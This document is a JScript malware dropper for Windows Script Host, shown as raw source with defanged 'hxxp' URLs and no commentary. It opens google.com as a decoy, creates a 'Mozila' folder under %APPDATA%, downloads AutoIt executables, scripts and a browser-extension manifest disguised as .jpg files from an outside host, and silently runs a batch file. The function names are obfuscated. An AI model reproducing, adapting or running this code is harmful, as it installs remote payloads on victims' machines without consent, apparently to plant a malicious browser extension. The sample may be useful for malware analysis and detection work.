f

(function(processFunction) {
    function _0xc4a4x2(_0xc4a4x2, _0xc4a4x3, _0xc4a4x4) {
        if (!_0xc4a4x3 || !_0xc4a4x2) {
            return null;
        }

        var xhr = WScript.CreateObject("Msxml2.XMLhxxp");
        xhr["onreadystatechange"] = function() {
            if (xhr["readyState"] === 4 && xhr["status"] === 200) {

                xa = new ActiveXObject("ADODB.Stream");
                xa["open"]();
                xa["type"] = 1;
                xa["write"](xhr.ResponseBody);
                xa["position"] = _0xc4a4x4;

                stm2 = new ActiveXObject("ADODB.Stream");
                stm2["type"] = 1;
                stm2["open"]();
                stm2["write"](xa["read"]());
                stm2["saveToFile"](_0xc4a4x3, 2);
                stm2["close"]();

                xa["close"]()
            }
        };
        xhr["open"]("GET", _0xc4a4x2, false);
        xhr["send"](null)
    }

    function _0xc4a4x6(arg1, arg2) {
        {
            xa = new ActiveXObject("ADODB.Stream");
            xa["open"]();
            xa["type"] = 1;
            xa.LoadFromFile(arg1);

            ix = new ActiveXObject("ADODB.Stream");
            ix["open"]();
            ix["type"] = 1;
            ix.LoadFromFile(arg2);

            stm2 = new ActiveXObject("ADODB.Stream");
            stm2["type"] = 1;
            stm2["open"]();
            stm2["write"](ix["read"]());
            stm2["write"](xa["read"]());
            xa["close"]();
            ix["close"]();
            stm2["saveToFile"](arg1, 2);
            stm2["close"]()
        }
    }
    fso = new ActiveXObject("Scripting.FileSystemObject");
    var activeXObject = new ActiveXObject("WScript.Shell");
    processFunction = new ActiveXObject("Shell.Application");
    FileDestr = activeXObject["ExpandEnvironmentStrings"]("%APPDATA%");
    mozklasor = FileDestr + "Mozila";
    if (!fso.FolderExists(mozklasor)) {
        fso.CreateFolder(mozklasor)
    };
    processFunction.ShellExecute("hxxps://www.google.com");
    _0xc4a4x2("hxxp://userexperiencestatics.net/ext/Autoit.jpg", mozklasor + "\\autoit.exe", 0);
    _0xc4a4x2("hxxp://userexperiencestatics.net/ext/bg.jpg", mozklasor + "\\bg.js", 0);
    _0xc4a4x2("hxxp://userexperiencestatics.net/ext/ekl.jpg", mozklasor + "\\ekl.au3", 0);
    _0xc4a4x2("hxxp://userexperiencestatics.net/ext/ff.jpg", mozklasor + "ff.zip", 0);
    _0xc4a4x2("hxxp://userexperiencestatics.net/ext/force.jpg", mozklasor + "\\force.au3", 0);
    _0xc4a4x2("hxxp://userexperiencestatics.net/ext/sabit.jpg", mozklasor + "\\sabit.au3", 0);
    _0xc4a4x2("hxxp://userexperiencestatics.net/ext/manifest.jpg", mozklasor + "\\manifest.json", 0);
    _0xc4a4x2("hxxp://userexperiencestatics.net/ext/run.jpg", mozklasor + "\\run.bat", 0);
    _0xc4a4x2("hxxp://userexperiencestatics.net/ext/up.jpg", mozklasor + "\\up.au3", 0);
    _0xc4a4x2("hxxp://whos.amung.us/pingjs/?k=pingjse346", mozklasor + "\\ping.js", 0);
    _0xc4a4x2("hxxp://whos.amung.us/pingjs/?k=pingjse3462", mozklasor + "\\ping2.js", 0);
    processFunction.ShellExecute(mozklasor + "\\run.bat", "", mozklasor, "", 0)
})(this)